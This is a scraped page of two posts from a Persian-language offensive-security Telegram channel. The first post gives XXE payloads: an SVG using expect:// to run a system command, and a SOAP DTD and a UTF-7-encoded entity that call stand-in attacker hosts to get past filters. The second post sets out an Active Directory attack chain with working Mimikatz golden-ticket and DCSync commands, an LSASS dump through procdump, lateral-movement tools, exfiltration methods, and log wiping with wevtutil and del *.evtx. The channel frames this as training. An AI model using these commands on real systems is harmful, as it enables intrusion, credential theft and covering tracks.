tryhackbox | Unsorted

Telegram-канал tryhackbox - Try Hack Box

6712

1 Nov 2020 1399/08/11 🔴 THB | Offensive Security آموزش، تحقیق و تجربه عملی در امنیت تهاجمی Penetration Testing · Red Teaming · AI Security 🎯 یاد بگیر. آزمایش کن. حرفه‌ای شو.

Subscribe to a channel

Try Hack Box

📌 حملات XXE (تزریق XML) - بخش سوم 

🔹 حملات پیشرفته XXE (ادامه) 

4. استفاده از XXE در فایل‌های SVG (حملات از طریق تصاویر) 
فایل‌های SVG مبتنی بر XML هستند و می‌توانند حاوی payloadهای XXE باشند: 

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" height="200">
    <image xlink:href="expect://id"></image>
</svg>

اگر سایتی آپلود SVG را بدون فیلتر کردن اجازه دهد، این payload می‌تواند دستورات سیستم را اجرا کند. 

5. استفاده از XXE در پروتکل SOAP (سرویس‌های وب) 
در APIهای SOAP-based نیز می‌توان از XXE سوءاستفاده کرد: 
<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://attacker.com/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

این payload درخواستی به سرور مهاجم ارسال می‌کند. 

6. استفاده از کدگذاری UTF-7 برای دور زدن فیلترها 
بعضی سیستم‌ها فقط UTF-8 را پردازش می‌کنند، اما با UTF-7 می‌توان برخی فیلترها را دور زد: 
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hacker.com/+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4


🔹 جمع‌بندی بخش سوم 
- درون SVGها می‌توانند حاوی XXE باشند. 
-حتی APIهای SOAP نیز در معرض خطرند. 
- با تغییر کدگذاری (مثل UTF-7) می‌توان برخی فیلترها را دور زد. 

ادامه در بخش چهارم (پیشگیری و دفاع)...

✍️نویسنده
@TryHackBox | The Chaos

#XXE #SVG #Payload #CyberSecurity

Читать полностью…

Try Hack Box

🧬 مرحله ۴: Persistence (پایداری)

Golden Ticket:

ساختن با Mimikatz:

kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-... /krbtgt:<hash>


Skeleton Key (موقعی که به DC دسترسی داریم)

SIDHistory Injection

Abuse کردن AdminSDHolder یا GPO برای حفظ دسترسی



🔁 مرحله ۵: Lateral Movement (حرکت جانبی)

تکنیک‌های کلیدی:

Pass-the-Hash

Pass-the-Ticket

Overpass-the-Hash

استفاده از WMI / PsExec / WinRM برای اجرای ریموت

ابزارهای:

wmiexec.py

PsExec.exe

CrackMapExec (لینوکس)

SharpExec.exe یا PowerShell Remoting






🏰 مرحله ۶: Domain Controller Compromise

DCSync Attack با Mimikatz:

lsadump::dcsync /domain:domain.local /user:krbtgt

DCShadow Attack

Dump LSASS با Procdump:

procdump -ma lsass.exe lsass.dmp

و استخراج رمزها با Mimikatz:

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords




🪖مرحله ۷: Exfiltration & Cleanup

Exfiltration با SMB، DNS Tunneling یا ابزارهایی مثل Rclone

حذف لاگ:

wevtutil cl Security
del *.evtx

پوشاندن ردپاها با ابزارهای پاک‌سازی (مثلاً Invoke-Phant0m.ps1)


نویسنده
@TryHackBox | arian momeni

Читать полностью…
Subscribe to a channel